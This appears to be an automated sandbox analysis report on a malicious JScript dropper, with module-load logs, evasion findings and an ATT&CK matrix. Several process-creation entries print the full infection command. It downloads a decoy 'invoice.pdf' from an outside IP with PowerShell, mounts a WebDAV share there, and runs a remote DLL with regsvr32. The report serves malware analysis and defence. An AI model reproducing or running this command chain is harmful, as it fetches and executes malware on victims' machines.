Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2101.js.csv");ITextStream.WriteLine(" entry:9275 f:iwsbrv");ITextStream.WriteLine(" exec:2 f:iwsbrv");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5253			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4556			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5064	Thread sleep count: 5253 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5064	Thread sleep count: 4556 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 768	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1440	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3752	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 408	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2147008795.000001496B23D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2146784056.000001496B1D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3374603287.0000022ACF458000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3372705402.0000022AC9E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
